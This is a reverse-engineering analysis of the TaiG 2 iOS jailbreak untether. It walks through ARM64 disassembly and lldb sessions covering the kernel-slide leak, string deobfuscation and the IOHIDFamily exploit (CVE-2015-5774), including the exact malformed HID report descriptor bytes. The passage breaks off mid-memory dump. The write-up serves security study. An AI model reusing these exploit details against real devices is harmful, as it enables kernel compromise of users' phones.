html>

HIDden Treasures - TaiG 2 (Part the 2nd) Jonathan Levin, http://newosxbook.com/ @Technologeeks - 8/25/15

Changelog

08/25/15: Written

Get Kernel Base and Last

TaiG needs to do some serious kernel patching, and therefore needs to get the kernel base and last addresses. In the previous untether, this was done by a(nother) info leak from kext_request ( OSKextCopyLoadedKextInfo ), and the code remains here as well (in the common 0x10000fb8c, _leak_kernel_addresses). But if you look at it, you'll see that neither function works, and the info leak fails - that's because Apple has (finally) patched it (and in fact removed OSBundleMachOHeaders entirely from iOS).

Closer scrutiny, however, reveals that _leak_kernel_addresses first checks a global, and - if its value is not zero, said value is then used for the address:

_leak_kernel_addresses: 10000fb8c a9ba6ffc STP X28, X27, [SP,#-96]! 10000fb90 a90167fa STP X26, X25, [SP,#16] 10000fb94 a9025ff8 STP X24, X23, [SP,#32] 10000fb98 a90357f6 STP X22, X21, [SP,#48] 10000fb9c a9044ff4 STP X20, X19, [SP,#64] 10000fba0 a9057bfd STP X29, X30, [SP,#80] 10000fba4 910143fd ADD X29, SP, #80 10000fba8 10073bd9 ADR x25, 59256 10000fbac d503201f NOP 10000fbb0 f9400728 LDR X8, [X25, #8] => 0x0 10000fbb4 b5000848 CBNZ X8, use_cached_values ; 0x10000fcbc 10000fbb8 9400004b BL _raw_GetLoadedKextInfo_via_kext_request ; 0x10000fce4 10000fbbc b4000900 CBZ X0, fail ; 0x10000fcdc 10000fbc0 b940101a LDR W26, [X0, #16] ? 10000fbc4 340007da CBZ X26, use_cached_values ; 0x10000fcbc ... use_cached_values: 10000fcbc 52800000 MOVZ W0, #0 exit: 10000fcc0 a9457bfd LDP X29, X30, [SP,#80] 10000fcc4 a9444ff4 LDP X20, X19, [SP,#64] 10000fcc8 a94357f6 LDP X22, X21, [SP,#48] 10000fccc a9425ff8 LDP X24, X23, [SP,#32] 10000fcd0 a94167fa LDP X26, X25, [SP,#16] 10000fcd4 a8c66ffc LDP X28, X27, [SP],#96 10000fcd8 d65f03c0 RET fail: 10000fcdc 12800000 MOVN X0, #0 10000fce0 17fffff8 B exit ; 0x10000fcc0

So who sets these values? Well, you can put a watchpoint on the addresses - but much simpler - right after the get_kernel_* funcs in JTool's output, you'll see (with the companion file installed):

_set_cached_kernel_leaks(141): 10000fa24 a9ba6ffc STP X28, X27, [SP,#-96]! 10000fa28 a90167fa STP X26, X25, [SP,#16] 10000fa2c a9025ff8 STP X24, X23, [SP,#32] 10000fa30 a90357f6 STP X22, X21, [SP,#48] 10000fa34 a9044ff4 STP X20, X19, [SP,#64] 10000fa38 a9057bfd STP X29, X30, [SP,#80] 10000fa3c 910143fd ADD X29, SP, #80 10000fa40 d10043ff SUB X31, X31, #16 10000fa44 d2c00fe8 MOVZ X8, #127, LSL #-32 10000fa48 f2bfb808 MOVK X8, #64960, LSL 16 0x7ffdc00000 10000fa4c 8b080008 ADD X8, X0, X8 10000fa50 d2ffffe9 MOVZ X9, #65535, LSL #-16 10000fa54 f2dff009 MOVK X9, #65408, LSL 32 0xffffff8000000000 10000fa58 f2bffc09 MOVK X9, #65504, LSL 16 0xffffff80ffe00000 10000fa5c 8a090108 AND X8, X8, X9 10000fa60 92c00fe9 MOVN X9, #127, LSL 32 10000fa64 f2a04009 MOVK X9, #512, LSL 16 0xffffff8002000000 10000fa68 f2840009 MOVK X9, #8192 0xffffff8002002000 10000fa6c 8b09011b ADD X27, X8, X9 10000fa70 1007459a ADR x26, 59568 10000fa74 d503201f NOP 10000fa78 f900075b STR X27, [X26, #8] 10000fa7c f9000f49 STR X9, [X26, #24] .... 10000fb50 9400000f BL _leak_kernel_addresses ; 0x10000fb8c 10000fb54 b9401b48 LDR W8, [X26, #24] => 0x0 10000fb58 4b080388 SUB W8, W28, W8 10000fb5c 8b284368 ADD X8, X27, X8{, }, {#0} 10000fb60 f9000b48 STR X8, [X26, #16] 10000fb64 f9001348 STR X8, [X26, #32] 10000fb68 52800000 MOVZ W0, #0

Note, in the above, that this function sets the kernel address space values in the following locations:

0x10001e328: slid kernel base (e.g. 0xffffff8018402000) - this value is returned by get_kernel_base (0x10000f9e4)

0x10001e330: slid kernel last (e.g. 0xffffff80197a7000) - this value is returned by get_kernel_last (0x10000fa04)

0x10001e338: original kernel base (0xffffff8002002000)

0x10001e340: slid kernel last (not really used)

The function takes its X0 argument (e.g. x0 = 0xffffff80188aeb70), adds a constant (0x7ffdc00000), logical ANDs with another constant ( 0xffffff80ffe00000 ) and then adds to the original kernel address (0xffffff8002002000, a given) to get the kernel slide.

But how do we get the address? Well, we're called from function 123 @10000e94c (that is, 0x10000e3cc + 1412)(corroborate with "bt" or just look at the jtool output). So that sounds like an interesting function to mark for further study..

10000bd44: Calling deobfuscate_strings (0x10000da94)

The string deobfuscator is ripped right out of the previous untether's deobfuscator, taking the "key" (from 0x10001af1f) of rgca/[204';b/[]/? and applying a loop over them. If you have the companion file, you can use jtool to see it work its magic:

Opened companion File: /Users/morpheus/Documents/iOS/JB/TaiG8.3/taig.2.4.3.ARM64.3634B551-1F4D-356D-B8C7-EB4DA69056FD Disassembling from file offset 0xda94, Address 0x10000da94 to next function with opcodes _deobfuscate_strings(110): 10000da94 a9be4ff4 STP X20, X19, [SP,#-32]! 10000da98 a9017bfd STP X29, X30, [SP,#16] 10000da9c 910043fd ADD X29, SP, #16 10000daa0 d2800008 MOVZ X8, #0 10000daa4 f940c813 LDR X19, [X0, #400] ? 10000daa8 1007af09 ADR x9, 62944 10000daac d503201f NOP 10000dab0 7006a374 ADR x20, 54383 "rgca/[204';b/[]/?" 10000dab4 d503201f NOP 10000dab8 3007b54a ADR x10, 63145 10000dabc d503201f NOP 10000dac0 3868692b LDRB W11, [X9, X8 ] 10000dac4 11018d6b ADD W11, W11, #99 0x63 10000dac8 38686a8c LDRB W12, [X20, X8 ] 10000dacc 4a0c016b EOR W11, W11, W12 10000dad0 3828694b STR W11, [X10, xW8] .. 10000dad4 91000508 ADD X8, X8, #1 0x1 10000dad8 f1003d1f CMP X8, #15 10000dadc 54ffff21 B.NE 0x10000dac0 ; 0x10000dac0 10000dae0 91060260 ADD X0, X19, #384 0x100000cfeedfc4f 10000dae4 3007b3e1 ADR x1, 63101 10000dae8 d503201f NOP 10000daec 94002de4 BL libSystem.B.dylib::_strcpy ; 0x10001927c ... 10000db28 7007b141 ADR x1, 63019 10000db2c d503201f NOP 10000db30 94002dd3 BL libSystem.B.dylib::_strcpy ; 0x10001927c

So deobfuscation is pretty simple - apply the same loop over the values in their "obfuscated" form, then call strcpy to put them in the global, as of offset 0x180. Jtool is still buggy with figuring out some values, hence it doesn't resolve R19 correctly. But - If you look at the following functions, you'll see that those right after returns_global , you'll see they return the deobfuscated value. These have been marked out in the companion file.

Zephyr:~ morpheus$ cat /Users/morpheus/Documents/iOS/JB/TaiG8.3/taig.2.4.3.ARM64.3634B551-1F4D-356D-B8C7-EB4DA69056FD | grep _returns 0x10000dca0:_returns_global 0x10000dcac:_returns_global+0x180 ("IOPMrootDomain") 0x10000dcbc:_returns_global+0x1c0 ("IOHIDResource") 0x10000dccc:_returns_global+0x200 ("IOHIDLibUserClient") 0x10000dcdc:_returns_global+0x240 ("IOHIDEventService") 0x10000dcec:_returns_global+0x280 ("IOUserClientClass") 0x10000dcfc:_returns_global+0x2c0 ("ReportDescriptor") 0x10000dd0c:_returns_global+0x300 ("ReportInterval")

The Exploit (CVE-2015-5774, etc) If you just want to know the gist of it, without getting through step-by-step ARM64 assembly, just skip all the next part, or click here If you're still reading this, be aware of the following annoyance: It's very hard to debug the exploit in one session. One wrong move, misplaced breakpoint, or timing issue will cause the device to reboot. You can imagine this happened to me countless times. As a consequence, the outputs here are from different sessions. ASLR kicks in and randomizes the space ( process launch -A doesn't work well). Fortunately, ASLR just slides the binary and the heap/stack (but not the shared library cache *muhahaha*) by an integer number of pages, so offsets in page remain the same, and it's easy to figure the slide. I used $sp + notation whenever possible, and the addresses I refer to are the non-slid addresses (the ones shown in jtool ). Leading up to the exploit: By now we already know 123 is important. This was made evident by the kernel address leak, and is also clear from looking at the Taig Startup function, which calls 0x10000cb78 (function 86) at 0x10000bd70. Function #86 does nothing but clear 0x198 bytes its argument, and pass it to 123: 10000bd6c aa1403e0 *MOV X0, X20 10000bd70 94000382 BL _leads_to_exploit(86) ; 0x10000cb78 10000bd74 7100001f CMP W0, #0 10000bd78 540000ab B.LT exploit_failed ; 0x10000bd8c 10000bd7c 91028280 ADD X0, X20, #160 0x100000cfeedfb8f 10000bd80 34000138 CBZ X24, exploit_worked_and_no_args ; 0x10000bda4 ... ... ... _leads_to_exploit(86): 10000cb78 a9be4ff4 STP X20, X19, [SP,#-32]! 10000cb7c a9017bfd STP X29, X30, [SP,#16] 10000cb80 910043fd ADD X29, SP, #16 10000cb84 aa0103f3 *MOV X19, X1 10000cb88 aa0003f4 *MOV X20, X0 10000cb8c d2803301 MOVZ X1, #408 10000cb90 940030e3 BL libSystem.B.dylib::_bzero ; 0x100018f1c 10000cb94 b9003a93 STR W19, [X20, #56] 10000cb98 aa1403e0 *MOV X0, X20 10000cb9c a9417bfd LDP X29, X30, [SP,#16] 10000cba0 a8c24ff4 LDP X20, X19, [SP],#32 10000cba4 1400060a B _exploit(123) ; 0x10000e3cc

If you haven't skipped to the high level view, you're obviously interested in following along :-) Set a breakpoint on function 86 and 123, and inspect the arguments:

(lldb) b taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 Breakpoint 3: where = taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3, address = 0x000000010004a3cc (lldb) b taig.2.4.3`___lldb_unnamed_function86$$taig.2.4.3 Breakpoint 4: where = taig.2.4.3`___lldb_unnamed_function86$$taig.2.4.3, address = 0x0000000100048b78 (lldb) c Process ... resuming /System/Library/NanoLaunchDaemons/com.apple.companionfindlocallyd.plist: Could not find specified service ... * thread #1: tid = 0x1be9, 0x0000000100048b78 taig.2.4.3`___lldb_unnamed_function86$$taig.2.4.3, queue = 'com.apple.main-thread', stop reason = breakpoint 4.1 frame #0: 0x0000000100048b78 taig.2.4.3`___lldb_unnamed_function86$$taig.2.4.3 taig.2.4.3`___lldb_unnamed_function86$$taig.2.4.3: -> 0x100048b78: stp x20, x19, [sp, #-32]! 0x100048b7c: stp fp, lr, [sp, #16] 0x100048b80: add fp, sp, #16 0x100048b84: mov x19, x1 (lldb) reg read x0 x1 x0 = 0x000000016fdc3970 x1 = 0x0000000000000000 (lldb) c Process 321 resuming Process 321 stopped * thread #1: tid = 0x1be9, 0x000000010004a3cc taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3, queue = 'com.apple.main-thread', stop reason = breakpoint 3.1 frame #0: 0x000000010004a3cc taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3: -> 0x10004a3cc: stp x28, x27, [sp, #-96]! 0x10004a3d0: stp x26, x25, [sp, #16] 0x10004a3d4: stp x24, x23, [sp, #32] 0x10004a3d8: stp x22, x21, [sp, #48] (lldb) reg read x0 x1 x0 = 0x000000016fdc3970 x1 = 0x0000000000000000 (lldb) mem read $x0 0x16fdc3970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x16fdc3980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0x10000e3cc: The exploit function (123)

Function 123 will start with a setup of the stack. Its stack size is unusually large, since it uses several large arrays. You can see the setup:

_exploit(123): 10000e3cc a9ba6ffc STP X28, X27, [SP,#-96]! 10000e3d0 a90167fa STP X26, X25, [SP,#16] 10000e3d4 a9025ff8 STP X24, X23, [SP,#32] 10000e3d8 a90357f6 STP X22, X21, [SP,#48] 10000e3dc a9044ff4 STP X20, X19, [SP,#64] 10000e3e0 a9057bfd STP X29, X30, [SP,#80] 10000e3e4 910143fd ADD X29, SP, #80 10000e3e8 d1401bff SUB X31, X31, #6{shift} 10000e3ec d133c3ff SUB X31, X31, #3312 10000e3f0 aa0003f3 *MOV X19, X0 10000e3f4 91400ffb ADD X27, SP, #12288 10000e3f8 9103a37b ADD X27, X27, #232 0x100000cfeee2bb7 10000e3fc d503201f NOP 10000e400 5806e19c LDR X28, #14092 libSystem.B.dylib::___stack_chk_guard 10000e404 f9400388 LDR X8, [X28, #0] 10000e408 f91e0368 STR X8, [X27, #15360] 10000e40c 91400ff6 ADD X22, SP, #12288 10000e410 9103a2d6 ADD X22, X22, #232 0x100000cfeee2bb7 10000e414 b27403e1 ORR X1, XZR, #0x1000 10000e418 aa1603e0 *MOV X0, X22 10000e41c 94002ac0 BL libSystem.B.dylib::_bzero ; 0x100018f1c 10000e420 91400be0 ADD X0, SP, #8192 10000e424 912cc000 ADD X0, X0, #2864 0x100000cfeee25ff 10000e428 d280b701 MOVZ X1, #1464 10000e42c 94002abc BL libSystem.B.dylib::_bzero ; 0x100018f1c 10000e430 91400be0 ADD X0, SP, #8192 10000e434 9103c000 ADD X0, X0, #240 0x100000cfeee1bbf 10000e438 d2814801 MOVZ X1, #2624 10000e43c 94002ab8 BL libSystem.B.dylib::_bzero ; 0x100018f1c 10000e440 9103c3e0 ADD X0, SP, #240 10000e444 b27303e1 ORR X1, XZR, #0x2000 10000e448 94002ab5 BL libSystem.B.dylib::_bzero ; 0x100018f1c 10000e44c b9400668 LDR W8, [X19, #4] => 0x100000cfeedfacf 10000e450 350008e8 CBNZ X8, 0x10000e56c ; 0x10000e56c 10000e454 97ffe9a5 BL _opens_IOServiceMatching("IOHIDResource")_as_b0b(usually) ; 0x100008ae8 10000e458 aa0003f5 *MOV X21, X0 10000e45c b9000275 STR W21, [X19, #0] 10000e460 34002435 CBZ X21, fail ; 0x10000e8e4 10000e464 b900e3ff STR WZR, [SP, #224] ; ? 10000e468 a90d7fff STP XZR, XZR, [SP,#208] 10000e46c a90c7fff STP XZR, XZR, [SP,#192] 10000e470 914017f7 ADD X23, SP, #20480 10000e474 9103a2f7 ADD X23, X23, #232 0x100000cfeee4bb7 10000e478 b27503e1 ORR X1, XZR, #0x800 10000e47c aa1703e0 *MOV X0, X23 10000e480 94002aa7 BL libSystem.B.dylib::_bzero ; 0x100018f1c 10000e484 321d03e8 ORR W8, WZR, #0x8 10000e488 b900e7e8 STR W8, [SP, #228] ; ? 10000e48c 32001fe8 ORR W8, WZR, #0xff 10000e490 b900ebe8 STR W8, [SP, #232] ; ?

Stack setup

Following the string of memsets (bzero) will get you most variables in this function ; Some of those cover more than one variable, though. Note the entire area up to sp_00e8 is unclaimed - though it will be used later. Putting the stack together we end up with:

Dec Hex Variable Size 0x58E8 _______________________ ? 0x50E8 _______________________ 0x800 0x40E8 _______________________ 0x1000 (uninitialized) 0x30E8 _______________________ 0x1000 0x2B30 _______________________ 0x5B8 8432 0x20F0 _______________________ 0xA40 240 0x00F0 _______________________ 0x2000 236 0x00Ec _______________________ mach_port_t 232 0x00E8 0xFF uint64_t 228 0x00E4 0x8 uint32_t 192 0x00C0 0x24 184 0x00B8 0x8 136 0x0088 _______________________ 0x30 96 0x0060 _______________________ uint32_t 88 0x0058 _______________________ mach_port_t 80 0x0050 ________________________ void *

Crafting a report descriptor

You'll note that hidden in the memset()s is a call to IOKit - to open a handle to IOHIDResource . The handle returned is usually b0b - I say, usually, because Mach Ports are somewhat like file descriptors (or Windows Handles) in that they have meaning only in the process (more accurately) task in which they were created. Because they're created deterministically, they often have the same number.

The next step in the exploit is to craft a Report Descriptor. Now, HID Report Descriptors are totally messed up. To be honest, I don't understand them, nor have I any intent to (I'm a software person, not hardware). You can download a USB descriptor tool from The official USB consortium site, but I'd recommended instead a javascript parser at Eleccelerator.com, along with a nice tutorial (which was more than enough for me to realize I don't want any more of this stuff :-) . Following the creation of the descriptor along is WAY easier in a debugger, because it involves a lot of memory setting which is excruciating. JTool isn't that advanced (yet?), and I doubt if IDA could do this. So it's much easier to set a breakpoint once the descriptor is crafted.

10000e498 12800001 MOVN X1, #0 10000e49c 321f7be2 ORR W2, WZR, #0xfffffffe 10000e4a0 321e7be3 ORR W3, WZR, #0xfffffffd 10000e4a4 aa1703e0 *MOV X0, X23 10000e4a8 97fffc06 BL _crafts_IOHIDDescriptor(100) }, {#0} 10000e4b4 910303f9 ADD X25, SP, #192 10000e4b8 52800121 MOVZ W1, #9 10000e4bc 320003e2 ORR W2, WZR, #0x1 10000e4c0 320007e3 ORR W3, WZR, #0x3 10000e4c4 aa1903e4 *MOV X4, X25 10000e4c8 97fffc19 BL _on_with_IOHIDDesc(101) ; 0x10000d52c 10000e4cc 93407c08 ASR X8, X0, #0 10000e4d0 8b38c118 ADD X24, X8, X24{, }, {#0} 10000e4d4 8b1802e0 ADD X0, X23, X24 10000e4d8 52800121 MOVZ W1, #9 10000e4dc 321f03e2 ORR W2, WZR, #0x2 10000e4e0 320007e3 ORR W3, WZR, #0x3 10000e4e4 aa1903e4 *MOV X4, X25 10000e4e8 97fffc11 BL _on_with_IOHIDDesc(101) ; 0x10000d52c 10000e4ec 8b20c318 ADD X24, X24, X0{, }, {#0} 10000e4f0 8b1802e0 ADD X0, X23, X24 10000e4f4 97fffc59 BL _top_off_Report_descriptor_with_0xc3 ; 0x10000d658 ; 0x10000d4c0 10000e4ac aa0003f8 *MOV X24, X0 10000e4b0 8b38c2e0 ADD X0, X23, X24{,

So, setting our breakpoint, we'd have:

(lldb) b 0x10004a4f8 Breakpoint 6: where = taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 300, address = 0x000000010004a4f8 (lldb) c * thread #1: tid = 0x1be9, 0x000000010004a4f8 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 300, queue = 'com.apple.main-thread', stop reason = breakpoint 6.1 frame #0: 0x000000010004a4f8 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 300 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 300: (lldb) (lldb) mem read $x23 0x16fdc1ce8: 07 fe ff ff ff 27 ff ff ff ff 17 ff ff ff ff 47 .....'.........G 0x16fdc1cf8: ff ff ff ff 37 ff ff ff ff a7 00 00 00 00 b7 00 ....7........... 0x16fdc1d08: 00 00 00 a3 fd ff ff ff 07 00 00 00 00 0a 00 00 ................ 0x16fdc1d18: 27 00 00 00 00 17 00 00 00 00 47 00 00 00 00 37 '.........G....7 0x16fdc1d28: 00 00 00 00 67 00 00 00 00 57 00 00 00 00 77 08 ....g....W....w. 0x16fdc1d38: 00 00 00 97 ff 00 00 00 87 01 00 00 00 93 03 00 ................ 0x16fdc1d48: 00 00 07 00 00 00 00 0a 00 00 27 00 00 00 00 17 ..........'..... 0x16fdc1d58: 00 00 00 00 47 00 00 00 00 37 00 00 00 00 67 00 ....G....7....g. 0x16fdc1d68: 00 00 00 57 00 00 00 00 77 08 00 00 00 97 ff 00 ...W....w....... 0x16fdc1d78: 00 00 87 02 00 00 00 93 03 00 00 00 c3 00 00 00 ................

Ugh. Apple's IOHIDFamily sources have a descriptor parser in tools/IOHIDReportDescriptorParser.c , which can be easily adapter to print this: Zephyr:tools morpheus$ pwd /Users/morpheus/Documents/src/Apple/IOHIDFamily-606.1.7/tools Zephyr:tools morpheus$ tail -25 IOHIDReportDescriptorParser.c void main (int argc, char **argv) { uint32_t len = 161; uint8_t rd[] = { 0x07,0xfe,0xff,0xff,0xff,0x27,0xff,0xff,0xff,0xff,0x17,0xff,0xff,0xff,0xff,0x47, 0xff,0xff,0xff,0xff,0x37,0xff,0xff,0xff,0xff,0xa7,0x00,0x00,0x00,0x00,0xb7,0x00, 0x00,0x00,0x00,0xa3,0xfd,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x0a,0x00,0x00, 0x27,0x00,0x00,0x00,0x00,0x17,0x00,0x00,0x00,0x00,0x47,0x00,0x00,0x00,0x00,0x37, 0x00,0x00,0x00,0x00,0x67,0x00,0x00,0x00,0x00,0x57,0x00,0x00,0x00,0x00,0x77,0x08, 0x00,0x00,0x00,0x97,0xff,0x00,0x00,0x00,0x87,0x01,0x00,0x00,0x00,0x93,0x03,0x00, 0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x0a,0x00,0x00,0x27,0x00,0x00,0x00,0x00,0x17, 0x00,0x00,0x00,0x00,0x47,0x00,0x00,0x00,0x00,0x37,0x00,0x00,0x00,0x00,0x67,0x00, 0x00,0x00,0x00,0x57,0x00,0x00,0x00,0x00,0x77,0x08,0x00,0x00,0x00,0x97,0xff,0x00, 0x00,0x00,0x87,0x02,0x00,0x00,0x00,0x93,0x03,0x00,0x00,0x00,0xc3,0x00,0x00,0x00 }; PrintHIDDescriptor(rd, // const uint8_t *reportDesc, len); // uint32_t length) } Zephyr:tools morpheus$ cc IOHIDReportDescriptorParser.c -o IOHID IOHIDReportDescriptorParser.c:689:1: warning: return type of 'main' is not 'int' [-Wmain-return-type] ... # Whatever, clang. Whatever.. Zephyr:tools morpheus$ ./IOHID Raw HID Descriptor: --------------------------------------------------------- 00000000: 07 FE FF FF FF 27 FF FF FF FF 17 FF FF FF FF 47 00000010: FF FF FF FF 37 FF FF FF FF A7 00 00 00 00 B7 00 00000020: 00 00 00 A3 FD FF FF FF 07 00 00 00 00 0A 00 00 00000030: 27 00 00 00 00 17 00 00 00 00 47 00 00 00 00 37 00000040: 00 00 00 00 67 00 00 00 00 57 00 00 00 00 77 08 00000050: 00 00 00 97 FF 00 00 00 87 01 00 00 00 93 03 00 00000060: 00 00 07 00 00 00 00 0A 00 00 27 00 00 00 00 17 00000070: 00 00 00 00 47 00 00 00 00 37 00 00 00 00 67 00 00000080: 00 00 00 57 00 00 00 00 77 08 00 00 00 97 FF 00 00000090: 00 00 87 02 00 00 00 93 03 00 00 00 C3 00 00 00 000000A0: C0 Parsed HID Descriptor: --------------------------------------------------------- 0x07, 0xFE, 0xFF, 0xFF, 0xFF, // Usage Page (4294967294) 0x27, 0xFF, 0xFF, 0xFF, 0xFF, // Logical Maximum......... (-1) 0x17, 0xFF, 0xFF, 0xFF, 0xFF, // Logical Minimum......... (-1) 0x47, 0xFF, 0xFF, 0xFF, 0xFF, // Physical Maximum........ (-1) 0x37, 0xFF, 0xFF, 0xFF, 0xFF, // Physical Minimum........ (-1) 0xA7, 0x00, 0x00, 0x00, 0x00, // Push.................... (0) 0xB7, 0x00, 0x00, 0x00, 0x00, // Pop..................... (0) 0xA3, 0xFD, 0xFF, 0xFF, 0xFF, // Collection (Collection ) 0x07, 0x00, 0x00, 0x00, 0x00, // Usage Page (0) 0x0A, 0x00, 0x00, // Usage 0 (0x0) 0x27, 0x00, 0x00, 0x00, 0x00, // Logical Maximum......... (0) 0x17, 0x00, 0x00, 0x00, 0x00, // Logical Minimum......... (0) 0x47, 0x00, 0x00, 0x00, 0x00, // Physical Maximum........ (0) 0x37, 0x00, 0x00, 0x00, 0x00, // Physical Minimum........ (0) 0x67, 0x00, 0x00, 0x00, 0x00, // Unit.................... (0) 0x57, 0x00, 0x00, 0x00, 0x00, // Unit Exponent........... (0) 0x77, 0x08, 0x00, 0x00, 0x00, // Report Size............. (8) 0x97, 0xFF, 0x00, 0x00, 0x00, // Report Count............ (255) 0x87, 0x01, 0x00, 0x00, 0x00, // ReportID................ (1) 0x93, 0x03, 0x00, 0x00, 0x00, // Output..................(Constant) 0x07, 0x00, 0x00, 0x00, 0x00, // Usage Page (0) 0x0A, 0x00, 0x00, // Usage 0 (0x0) 0x27, 0x00, 0x00, 0x00, 0x00, // Logical Maximum......... (0) 0x17, 0x00, 0x00, 0x00, 0x00, // Logical Minimum......... (0) 0x47, 0x00, 0x00, 0x00, 0x00, // Physical Maximum........ (0) 0x37, 0x00, 0x00, 0x00, 0x00, // Physical Minimum........ (0) 0x67, 0x00, 0x00, 0x00, 0x00, // Unit.................... (0) 0x57, 0x00, 0x00, 0x00, 0x00, // Unit Exponent........... (0) 0x77, 0x08, 0x00, 0x00, 0x00, // Report Size............. (8) 0x97, 0xFF, 0x00, 0x00, 0x00, // Report Count............ (255) 0x87, 0x02, 0x00, 0x00, 0x00, // ReportID................ (2) 0x93, 0x03, 0x00, 0x00, 0x00, // Output..................(Constant) 0xC3, 0x00, 0x00, 0x00, 0xC0, // End Collection (3221225472) (you'd get similar results from the Javascript Descriptor parser, but it always makes sense to use Apple's own sources whenever possible - especially because this package contains the vulnerability).

That's nasty, but that's not all: We still have two functions - 43 and 45, which are required to really mess things up:

// More optimized memset follows: memset (sp_0088, '\0', 56), and W24 is len of descriptor //

10000e4f8 a90b7fff STP XZR, XZR, [SP,#176] 10000e4fc a90a7fff STP XZR, XZR, [SP,#160] 10000e500 a9097fff STP XZR, XZR, [SP,#144] 10000e504 b000318 ADD W24, W24, W0 10000e508 f90047ff STR XZR, [SP, #136] ; ? 10000e50c 52800003 MOVZ W3, #0 10000e510 9102e3e2 ADD X2, SP, #184 10000e514 aa1703e0 *MOV X0, X23 10000e518 aa1803e1 *MOV X1, X24 10000e51c 97ffeb17 BL _func_(43) ; 0x100009178 10000e520 f9405fe0 LDR X0, [X31, #184] ? 10000e524 910223e1 ADD X1, SP, #136 10000e528 97ffec54 BL _func_(45) ; 0x100009678

Both functions are too crazy to follow, but a breakpoint reveals what they do. In particular, 43 populates sp_00b8 with the following:

# Stopping just shy of 43: * thread #1: tid = 0x1be9, 0x000000010004a51c taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 336, queue = 'com.apple.main-thread', stop reason = instruction step into frame #0: 0x000000010004a51c taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 336 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 336: -> 0x10004a51c: bl 0x100045178 ; ___lldb_unnamed_function43$$taig.2.4.3 # Read registers (lldb) reg read x0 x1 x2 x3 x0 = 0x000000016fdc1ce8 # SP_50e8 (descriptor) x1 = 0x00000000000000a1 # Len x2 = 0x000000016fdbccb8 # SP_00b8 x3 = 0x0000000000000000 # Set a breakpoint (lldb) b 0x10004a520 Breakpoint 7: where = taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 340, address = 0x000000010004a520 (lldb) mem read "$sp + 0xb8" 0x16fdbccb8: 00 00 60 37 01 00 00 00 00 00 00 00 00 00 00 00 ..`7............ (lldb) mem read 0x0137600000 0x137600000: 20 64 69 68 00 00 00 00 a0 01 60 37 01 00 00 00 dih......`7.... 0x137600010: 02 00 00 00 00 00 00 00 f0 01 60 37 01 00 00 00 ..........`7.... 0x137600020: 02 00 00 00 00 00 00 00 a0 02 60 37 01 00 00 00 ..........`7.... 0x137600030: 03 00 00 00 00 00 00 00 d0 02 60 37 01 00 00 00 ..........`7.... 0x137600040: 02 00 00 00 00 00 00 00 f8 02 60 37 01 00 00 00 ..........`7.... 0x137600050: 00 00 00 00 00 00 00 00 f8 02 60 37 01 00 00 00 ..........`7.... 0x137600060: 00 00 00 00 00 00 00 00 a0 01 60 37 01 00 00 00 ..........`7.... 0x137600070: 00 00 00 00 88 01 00 00 00 00 00 00 00 00 04 00 ................ 0x137600080: 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 10 ................ 0x137600090: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 ................

That " dih" signature looks like it's HID related - and, indeed, the sources reveal it defined in IOHIDParserPriv.h as kHIDOSType ... and used extensively in ./IOHIDSystem/IOHIDDescriptorParser , as the first field on the following structure:

struct HIDPreparsedData { UInt32 hidTypeIfValid; HIDCollection * collections; UInt32 collectionCount; HIDReportItem * reportItems; UInt32 reportItemCount; HIDReportSizes * reports; UInt32 reportCount; HIDP_UsageItem * usageItems; UInt32 usageItemCount; HIDStringItem * stringItems; UInt32 stringItemCount; HIDDesignatorItem * desigItems; UInt32 desigItemCount; UInt8 * rawMemPtr; UInt32 flags; IOByteCount numBytesAllocated; };

Putting the two together we get: hidTypeIfValid collections 0x137600000: 20 64 69 68 00 00 00 00 a0 01 60 37 01 00 00 00 dih......`7.... collectionCount reportItems 0x137600010: 02 00 00 00 00 00 00 00 f0 01 60 37 01 00 00 00 ..........`7.... reportItemCount reports 0x137600020: 02 00 00 00 00 00 00 00 a0 02 60 37 01 00 00 00 ..........`7.... reportCount usageItems 0x137600030: 03 00 00 00 00 00 00 00 d0 02 60 37 01 00 00 00 ..........`7.... usageItemCount stringItems 0x137600040: 02 00 00 00 00 00 00 00 f8 02 60 37 01 00 00 00 ..........`7.... stringItemCount desigItems 0x137600050: 00 00 00 00 00 00 00 00 f8 02 60 37 01 00 00 00 ..........`7.... desigItemCount rawMemPtr (tsk tsk) 0x137600060: 00 00 00 00 00 00 00 00 a0 01 60 37 01 00 00 00 ..........`7.... flags numBytesAllocated 0x137600070: 00 00 00 00 88 01 00 00 00 00 00 00 00 00 04 00 ................

And, reading the pointers...

(lldb) mem read 0x01376001a0 0x1376001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1376001b0: 00 00 00 00 02 00 00 00 00 00 00 00 01 00 00 00 ................ 0x1376001c0: 01 00 00 00 00 00 00 00 fd ff ff ff fe ff ff ff ................ 0x1376001d0: 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 ................ 0x1376001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1376001f0: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x137600200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x137600210: 08 00 00 00 01 00 00 00 ff 00 00 00 01 00 00 00 ................ 0x137600220: 08 00 00 00 01 00 00 00 03 00 00 00 00 00 00 00 ................ 0x137600230: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x137600240: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 0x137600250: 00 00 00 00 00 00 00 00 00 00 00 